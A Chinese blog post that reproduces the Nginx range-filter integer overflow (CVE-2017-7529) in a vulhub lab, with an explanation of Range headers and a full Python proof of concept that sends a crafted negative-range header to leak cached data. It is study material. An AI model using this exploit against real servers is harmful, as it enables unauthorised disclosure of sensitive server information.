码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Nginx越界读取缓存漏洞(CVE-2017-7529)


    注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关!!!

    理论知识

    range

            The Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 200 。

    range格式:

    Range: =-
    Range: =-
    Range: =-, -

    range事例:

    Range: bytes=500-999 //表示第 500-999 字节范围的内容
    Range: bytes=-500  // 表示最后 500 字节的内容
    Range: bytes=500- //表示从第 500 字节开始到文件结束部分的内容
    Range: bytes=500-600,601-999 //同时指定几个范围

    漏洞原理

            主要是因为在通过range读取缓存的时候,当我们构造了两个负值得位置,则我们可以读取到缓存文件中比敏感的服务器信息。

    影响版本:Nginx 的 0.5.6 - 1.13.2版本

    漏洞复现

    一、vulhub搭建起靶场

     二、vulhub中有自带的poc

     三、直接python3   poc.py   http://your-ip:8080

     总结

            这个漏洞主要会导致敏感信息泄露,说实话没看到有啥敏感的信息,明白了为啥说这个漏洞比较废。但是嘞我们还是应该重视起来。

    POC

    import sys
    import requests

    if len(sys.argv) < 2:
        print("%s url" % (sys.argv[0]))
        print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
        sys.exit()

    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
    }
    offset = 605
    url = sys.argv[1]
    file_len = len(requests.get(url, headers=headers).content)
    n = file_len + offset
    headers['Range'] = "bytes=-%d,-%d" % (
        n, 0x8000000000000000 - n)

    r = requests.get(url, headers=headers)
    print(r.text)

    参考文章:

    Range - HTTP | MDNThe Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 200 。https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Range

    Nginx整数溢出漏洞CVE-2017-7529 - 知乎漏洞简介 NginxNginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。其特点是占有内存少,并发能力较强,Nginx 可以在大多数 UnixLinux OS 上编译运行…https://zhuanlan.zhihu.com/p/34155943

    Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 - qweg_focus - 博客园Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 漏洞概述 ​在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的https://www.cnblogs.com/qweg/p/16549957.html

    Nginx配置——反向代理_止步前行的博客-CSDN博客_nginx反向代理Nginxhttps://blog.csdn.net/zxd1435513775/article/details/102508463

    漏洞复现-CVE-2017-7529-敏感信息泄露 - 铺哩 - 博客园Nginx敏感信息泄露漏洞(CVE-2017-7529)https://www.cnblogs.com/cute-puli/p/13282355.html

  • 相关阅读:
    leetcode-279. 完全平方数
    用于生成makefile文件sh脚本
    vue2构建一个后端权限管理模板
    windows下git提交修改文件名大小写提交无效问题
    Python网络爬虫库:轻松提取网页数据的利器
    七张图解锁Mybatis整体脉络,让你轻松拿捏面试官
    Linux MySQL(MariaDB)主从复制不停机增加新从库
    【小航的算法日记】数组
    java游戏服务器性能压测神器:jprofiler
    结合实践总结docker 安装 mysql5.7
  • 原文地址:https://blog.csdn.net/qq_58000413/article/details/126944659
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号